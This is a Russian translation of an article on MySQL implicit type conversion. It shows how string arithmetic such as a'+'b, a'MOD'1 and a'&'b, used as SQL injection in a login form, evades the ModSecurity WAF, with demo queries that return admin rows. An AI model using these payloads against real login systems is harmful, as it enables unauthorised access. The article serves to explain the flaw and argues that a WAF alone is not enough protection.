Неявное преобразование типов в MySQL

Неявное преобразование типов в MySQL

Новый метод обхода Web Application Firewalls

Автор: Том Ван Гетем (Tom Van Goethem)

В некоторых языках программирования при выполнении арифметических действий над нечисловыми операндами получаются весьма странные результаты. К примеру, в JavaScript результатом выражения [ ] + { } является объект, а выражения { } + [ ] – NaN.

Если подобные манипуляции происходят в синтаксическом анализаторе, который считается очень надежным, все может довольно быстро пойти под откос. Рассмотрим поведение MySQL…

Результатом сложения двух целых чисел будет сумма этих чисел. Все достаточно просто и понятно.

mysql> SELECT 1+1;
+-----+
| 1+1 |
+-----+
| 2 |
+-----+
1 row in set (0.00 sec)

Преобразование типов в MySQL

Ничего особенного здесь нет. Однако что произойдет, если мы попытаемся прибавить к строке целое число…

mysql> SELECT 'foo'+1;
+---------+
| 'foo'+1 |
+---------+
| 1 |
+---------+
1 row in set, 1 warning (0.00 sec)

mysql> SHOW WARNINGS;
+---------+------+-----------------------------------------+
| Level | Code | Message |
+---------+------+-----------------------------------------+
| Warning | 1292 | Truncated incorrect DOUBLE value: 'foo' |
+---------+------+-----------------------------------------+
1 row in set (0.00 sec)

Получаем чуть более интересные результаты: при добавлении 1 к 'foo' получается 1. Все дело в том, что 'foo' преобразовывается к типу DOUBLE. Однако 'foo' не является числом и будет преобразовано к 0 (и выведется предупреждение, показанное выше). Пока что ничего нового.

Документация MySQL гласит:

В случае использования операторов с различными типами операндов, происходит преобразование операндов для их совместимости.

А что произойдет, если мы попытаемся сложить две строки? Оба операнда являются строками, одного типа и, следовательно, их не нужно преобразовывать, верно?

mysql> SELECT 'a'+'b';
+---------+
| 'a'+'b' |
+---------+
| 0 |
+---------+
1 row in set, 2 warnings (0.00 sec)

mysql> SHOW WARNINGS;
+---------+------+---------------------------------------+
| Level | Code | Message |
+---------+------+---------------------------------------+
| Warning | 1292 | Truncated incorrect DOUBLE value: 'b' |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'a' |
+---------+------+---------------------------------------+
2 rows in set (0.00 sec)

Похоже, что нет. Кажется, что оператор «+» является арифметическим, что может объяснять, почему обе строки преобразовываются к числовым значениям.

Теперь мы знаем, что при сложении двух строк получается 0. Вы можете удостовериться в этом, запустив запрос SELECT 'a' + 'b' = 0, который вернет 1 (то же самое, что и TRUE). Теперь рассмотрим, что произойдет, если сравнить сумму двух строк с еще одной строкой:

mysql> SELECT 'a'+'b'='c';
+-------------+
| 'a'+'b'='c' |
+-------------+
| 1 |
+-------------+
1 row in set, 3 warnings (0.00 sec)

mysql> SHOW WARNINGS;
+---------+------+---------------------------------------+
| Level | Code | Message |
+---------+------+---------------------------------------+
| Warning | 1292 | Truncated incorrect DOUBLE value: 'b' |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'a' |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'c' |
+---------+------+---------------------------------------+
3 rows in set (0.00 sec)

Похоже, что строка, с которой вы сравниваете сумму двух строк, также преобразуется к числовому значению (снова 0) . Такое поведение вполне вероятно является неожиданным. Последнее правило преобразования типов в MySQL Reference Manual весьма размыто:

Во всех остальных случаях аргументы сравниваются как числа с плавающей точкой (вещественные числа).

Но вернемся к теме нашей статьи и рассмотрим обход Web Application Firewalls.

Обход WAFs

Допустим, ваша система авторизации уязвима к SQL-инъекциям. Так как у вас пока нет мыслей, как исправить уязвимость, вы устанавливаете WAF. Вполне вероятно ваша система авторизации использует запрос наподобие такого: SELECT * FROM users WHERE username = '$_POST["username"]' AND password = '$_POST["password"]'.

При простейшей атаке посредством SQL-инъекции будет использован такой запрос: SELECT * FROM users WHERE username = 'a' OR 1='1' AND password = 'foobar'. В этом запросе в качестве имени пользователя будет использоваться комбинация a' OR 1='1, а в качестве пароля случайный набор символов (в нашем случае 'foobar'). После выполнения этого запроса злоумышленник авторизуется в системе от имени первого пользователя, находящегося в соответствующей таблице. Однако вы используете WAF и защищены от такого типа атак.

Если атакующий будет чуток поумнее и использует информацию, указанную выше, то в качестве имени пользователя и пароля будет введена одна и та же комбинацию символов a'+'b. После этих манипуляций будет исполнен такой запрос: SELECT * FROM users WHERE username = 'a'+'b' AND password = 'a'+'b'. Как было сказано выше, 'a'+'b' будет преобразовано к числовому значению, и таким будет username и password.

Все это означает, что злоумышленник авторизуется в системе от имени первого пользователя в таблице, чье имя и пароль не начинаются с числового значения. Если у администратора имя пользователя было бы 666admin, атакующий в качестве имени пользователя может ввести 'a'+'666 (которое будет преобразовано к тому же самому значения, что и 666admin, а именно 666).

Я заявил о том, что при помощи этой техники можно обойти WAF’ы. Однако под термином WAF следует подразумевать «ModSecurity и, возможно, другие средства». Вы можете протестировать это на одном из демонстрационных проектов ModSecurity. Если ввести имя пользователя ' OR 1='1 и пароль, возникнет следующая ошибка:

ModSecurity Alert Message:
Inbound Alert: 981242-Detects classic SQL injection probings 1/2
Outbound Alert: 981242-Detects classic SQL injection probings 1/2

Если же ввести имя пользователя и пароль a'+'b, то вы авторизуетесь в системе, и не возникнет никаких сообщений об ошибках или предупреждений от ModSecurity.

До этого момента мы рассматривали оператор «+», однако в MySQL есть и другие операторы, подверженные тому же самому эффекту. В MySQL 5.5 Reference Manual приводится следующий список арифметических операторов: DIV, /, -, %, MOD, + и *, что позволяет, к примеру, выполнить атаку с использованием выражения a'MOD'1. Такую атаку очень трудно опознать при помощи WAF как использующую SQL-инъекцию.

До этого момента мы обсуждали только арифметические операторы, однако в MySQL есть и другие функции, например, побитовые функции. Функции, используемые в этом случае: &, |, ^, << и >>.

До сих пор говорилось об операторах, которые находятся в правой части выражения и вычисляются первыми. Такое происходит потому, что приоритет подобных операторов выше, чем у оператора = (сравнение). Кажется, если использовать операторы и функции, приоритет которых ниже чем у = (или равен ему), то ModSecurity отнесет подобные атаки к классу атак посредством SQL-инъекции (сюда же попадает атака с использованием комбинации символов ' OR 1='1).

Мораль статьи: не следует полагаться только на WAF при защите web-приложений. WAF добавляет еще один уровень защиты, который, как было показано выше, не слишком сложно обойти.

Примеры

В качестве практической демонстрации метода обхода, упомянутого выше, я создал таблицу и добавил в нее двух пользователей:

CREATE TABLE `users` (
`userid` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(45) NOT NULL,
`password` varchar(45) NOT NULL,
PRIMARY KEY (`userid`)
);

INSERT INTO `users` (`username`, `password`) VALUES ('admin', 'MySuperS3cretPass!');
INSERT INTO `users` (`username`, `password`) VALUES ('666admin', 'nataSmaI');

Результаты запроса, упомянутого выше:

mysql> SELECT * FROM users WHERE username = 'a'+'b' AND password = 'a'+'b';
+--------+----------+--------------------+
| userid | username | password |
+--------+----------+--------------------+
| 1 | admin | MySuperS3cretPass! |
+--------+----------+--------------------+
1 row in set, 7 warnings (0.00 sec)

mysql> SHOW WARNINGS;
+---------+------+--------------------------------------------------------+
| Level | Code | Message |

+---------+------+--------------------------------------------------------+
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin' |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'b' |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'a' |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'MySuperS3cretPass!' |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'b' |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'a' |
| Warning | 1292 | Truncated incorrect DOUBLE value: '666admin' |
+---------+------+--------------------------------------------------------+
7 rows in set (0.00 sec)

mysql> SELECT * FROM users WHERE username = 'a'+'666' AND password = 'a'+'b';
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 2 | 666admin | nataSamI |
+--------+----------+----------+
1 row in set, 6 warnings (0.00 sec)

mysql> SELECT * FROM users WHERE username = 'a'MOD'1' AND password = 'a'MOD'1';
+--------+----------+--------------------+
| userid | username | password |
+--------+----------+--------------------+
| 1 | admin | MySuperS3cretPass! |
+--------+----------+--------------------+
1 row in set, 5 warnings (0.00 sec)

В следующем примере 'a' и 'b' конвертируются к 0(тип INTEGER), поскольку & является побитовой функцией.

mysql> SELECT * FROM users WHERE username = 'a'&'b' AND password = 'a'&'b';
+--------+----------+--------------------+
| userid | username | password |
+--------+----------+--------------------+
| 1 | admin | MySuperS3cretPass! |
+--------+----------+--------------------+
1 row in set, 7 warnings (0.00 sec)

Тени в интернете всегда следят за вами

Станьте невидимкой – подключайтесь к нашему каналу.